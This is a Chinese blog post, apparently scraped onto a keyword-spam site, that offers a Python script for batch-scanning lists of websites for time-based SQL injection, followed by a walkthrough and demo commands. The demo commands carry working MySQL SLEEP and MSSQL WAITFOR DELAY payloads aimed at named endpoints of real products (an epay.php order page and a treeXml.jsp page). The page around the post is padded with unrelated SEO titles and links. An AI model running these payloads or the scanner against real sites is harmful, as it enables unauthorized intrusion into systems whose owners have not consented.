当前位置: 首页 > news >正文

做网站需要的素材照片新闻发稿渠道

做网站需要的素材照片,新闻发稿渠道,华为应用市场app下载,网站的内容建设文章目录 前言批量检测sql延时注入工作原理脚本演示 前言 SQL延时注入是一种在Web应用程序中利用SQL注入漏洞的技术,当传统的基于错误信息或数据回显的注入方法不可行时,例如当Web应用进行了安全配置,不显示任何错误信息或敏感数据时&#x…

文章目录

  • 前言
  • 批量检测sql延时注入
  • 工作原理
  • 脚本演示


前言

SQL延时注入是一种在Web应用程序中利用SQL注入漏洞的技术,当传统的基于错误信息或数据回显的注入方法不可行时,例如当Web应用进行了安全配置,不显示任何错误信息或敏感数据时,延时注入可以作为一种有效的攻击手段。

于是我想!写个脚本来批量扫描岂不美滋滋!


批量检测sql延时注入

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import http.client
import ssl
import argparse
import time
from urllib.parse import urlparse
from urllib.parse import urlencode# 定义控制台输出颜色代码
# 定义控制台输出颜色代码
RED = '\033[91m'
RESET = '\033[0m'def check_sql_delay_injection(url, path, payload, method):"""检查给定的URL是否存在SQL延迟注入漏洞。:param url: 目标URL:param path: 注入点:param payload: 测试负载:param method: 传参方式"""try:# 构造HTTP请求头headers = {"Content-Type": "application/x-www-form-urlencoded","User-Agent": "Mozilla/5.0"}# 如果是GET请求,将数据附加到URL后面if method.upper() == "GET":url1 = url# 构造用于检测SQL注入漏洞的URL路径url += pathurl += "?" + payload  # 注意:这里使用?来追加参数# 解析URL,获取协议、域名和路径parsed_url = urlparse(url)# 根据URL协议创建HTTP或HTTPS连接if parsed_url.scheme == "https":# 忽略SSL证书验证conn = http.client.HTTPSConnection(parsed_url.netloc, context=ssl._create_unverified_context())else:conn = http.client.HTTPConnection(parsed_url.netloc)# 记录请求开始时间start_time = time.time()# 发送GET请求conn.request("GET", url, headers=headers)response = conn.getresponse()# 记录请求结束时间elapsed_time = time.time() - start_timeelse:url1 = url# 解析URL,获取协议、域名和路径parsed_url = urlparse(url)body = payload# 根据URL的协议选择HTTP或HTTPS连接conn = http.client.HTTPSConnection(parsed_url.netloc, context=ssl._create_unverified_context()) if parsed_url.scheme == "https" else http.client.HTTPConnection(parsed_url.netloc)start_time = time.time()# 发送POST请求conn.request("POST", path, body=body, headers=headers)response = conn.getresponse()# 记录请求结束时间elapsed_time = time.time() - start_time# 如果响应时间在3到5秒之间,可能存在延迟注入漏洞if 3 <= elapsed_time <= 6:print(f"{RED}URL [{url1}{path}|0.0620] 可能存在SQL延时注入漏洞{RESET}")else:print(f"URL [{url1}{path}|0.0620] 不存在SQL延时注入漏洞")except Exception as e:print(f"URL [{url1}{path}] 请求失败: {e}")def main():"""程序主入口,负责解析命令行参数并执行漏洞检查。"""# 创建命令行参数解析器parser = argparse.ArgumentParser(description='检测目标地址是否存在SQL延时注入漏洞')parser.add_argument('-u', '--url', help='指定目标地址')parser.add_argument('-f', '--file', help='指定包含目标地址的文本文件')parser.add_argument('-p', '--path', default="", help='指定要请求的路径')parser.add_argument('-pl', '--payload', default="", help='')parser.add_argument('-m', '--method', default="POST", help='请求方法(GET或POST)')# 解析命令行参数args = parser.parse_args()# 如果指定了URL参数if args.url:# 确保URL以http或https开头if not args.url.startswith("http://") and not args.url.startswith("https://"):args.url = "http://" + args.url# 执行漏洞检查check_sql_delay_injection(args.url, args.path, args.payload, args.method)# 如果指定了文件参数elif args.file:# 打开文件并读取URL列表with open(args.file, 'r') as file:urls = file.read().splitlines()# 遍历文件中的每个URL进行检查for url in urls:# 确保URL以http或https开头dataif not url.startswith("http://") and not url.startswith("https://"):url = "http://" + url# 执行漏洞检查check_sql_delay_injection(url, args.path, args.payload, args.method)
# 程序入口
if __name__ == '__main__':main()

工作原理

这个Python脚本是一个用于检测SQL延迟注入漏洞的工具。它通过发送HTTP请求到目标URL,并根据响应时间来判断是否存在SQL延迟注入的可能性。以下是脚本的工作过程和原理的详细解释:

  1. 导入模块:脚本开始时导入了所需的模块,包括http.client用于创建HTTP连接,ssl用于处理HTTPS请求的SSL上下文,argparse用于解析命令行参数,time用于测量请求的响应时间,以及urllib.parse中的urlparseurlencode用于解析和编码URL。

  2. 定义颜色代码:为了在控制台输出中使用颜色,脚本定义了两个变量REDRESET,分别用于开始和结束红色文本的输出。

  3. 定义检测函数check_sql_delay_injection函数是脚本的核心,它接收目标URL、注入点、测试负载和传参方式作为参数。函数内部首先构造HTTP请求头,然后根据请求方法(GET或POST)来构造请求。

  4. GET请求处理

    • 如果请求方法是GET,脚本会将注入点和测试负载附加到URL后面,形成完整的请求URL。
    • 使用urlparse解析这个URL,获取协议、域名和路径。
    • 根据URL的协议(http或https),创建相应的HTTP或HTTPS连接。
    • 发送GET请求,并测量请求的响应时间。
  5. POST请求处理

    • 如果请求方法是POST,脚本会将测试负载作为请求体,并将注入点作为请求路径。
    • 与GET请求类似,根据URL协议创建连接,并发送POST请求。
    • 同样测量请求的响应时间。
  6. 判断延迟注入:脚本通过比较响应时间是否在3到6秒之间来判断是否存在SQL延迟注入漏洞。如果是,脚本会输出警告信息,指出可能存在漏洞。

  7. 异常处理:在尝试发送请求和接收响应的过程中,如果发生任何异常,脚本会捕获这些异常并输出错误信息。

  8. 命令行参数解析main函数负责解析命令行参数。用户可以通过-u/--url指定单个目标URL,或者通过-f/--file指定包含多个URL的文件。用户还可以指定请求路径(-p/--path)、测试负载(-pl/--payload)和请求方法(-m/--method)。

  9. 执行检测:根据用户提供的参数,脚本会遍历每个URL并调用check_sql_delay_injection函数来执行检测。

  10. 程序入口:脚本的标准入口是if __name__ == '__main__'部分,它调用main函数来启动程序。

这个脚本的原理基于SQL延迟注入漏洞的一个特点,通过构造特殊的SQL语句,使得数据库在执行时故意延迟,从而推断出某些信息。通过测量HTTP请求的响应时间,脚本尝试检测这种延迟。如果响应时间异常,就可能表明存在SQL延迟注入漏洞。

脚本演示

测试用例1:29网课交单平台epay.phpSQL注入漏洞
测试命令:

python .\sqltime.py -f .\url-post.txt -p "/epay/epay.php" -pl "out_trade_no=' AND (SELECT 8078 FROM(SELECT(SLEEP(3)))eEcA) AND 'aEmC'='aEmC" -m POST

在这里插入图片描述

测试用例2:飞企互联treeXml.jspSQL注入
测试命令:

python .\sqltime.py -f .\url-get.txt -p "/sys/treeXml.js%70" -pl "menuName=1';WAITFOR+DELAY+'0:0:5'--&type=function" -m GET

在这里插入图片描述


当人们做不到一些事情的时候,他们会对你说你也同样不能。

http://www.zhongyajixie.com/news/32340.html

相关文章:

  • 对个人做swot分析的网站网页设计与制作代码成品
  • 龙岩网站优化seo工具包
  • 做相册的网站(网易上海关键词优化报价
  • 3g版网站制作宁波seo的公司联系方式
  • 重庆市工程建设造价信息网官网seo优化软件免费
  • 南通市建设局网站最近一周新闻大事摘抄
  • 网站建设外包价格阿里云建站费用
  • 电商网站网址大全cpa游戏推广联盟
  • wordpress 修改文章作者优化疫情二十条措施
  • 网站做百度推广为什么没人咨询互联网推广公司
  • 如何在360做网站SEO哪里可以引流到精准客户呢
  • 互联网公司十大排名南宁seo服务优化
  • 手机网站 开发者模式湖南网站建设推广
  • 网站的备案all营销软文写作
  • 做图片带字的网站投放广告的网站
  • 鞍山诺亚人才网关键词优化和seo
  • 请人代做谷歌外贸网站东莞网站推广企业
  • 制作网站公司哪里好什么是网络营销战略
  • 安阳网站建设公司出租车公司seo招聘
  • 免费购物商城网站建设自己建网站要多少钱
  • 杭州做网站的好公司哪家好新东方留学机构官网
  • 医院网站 功能热搜榜排名今日
  • 喀什网站建设百度推广官网优化包括什么内容
  • 视频主持网站建设怎么做产品推广平台
  • 企业邮箱格式怎么写才正确厦门seo屈兴东
  • 日本优秀设计网站sem是什么意思的缩写
  • 重庆做企业网站痘痘该怎么去除效果好
  • 网站建设的法律问题推广文案
  • 中山网站建设找阿 n 2网络推广服务合同范本
  • 进货渠道网企业网站设计优化公司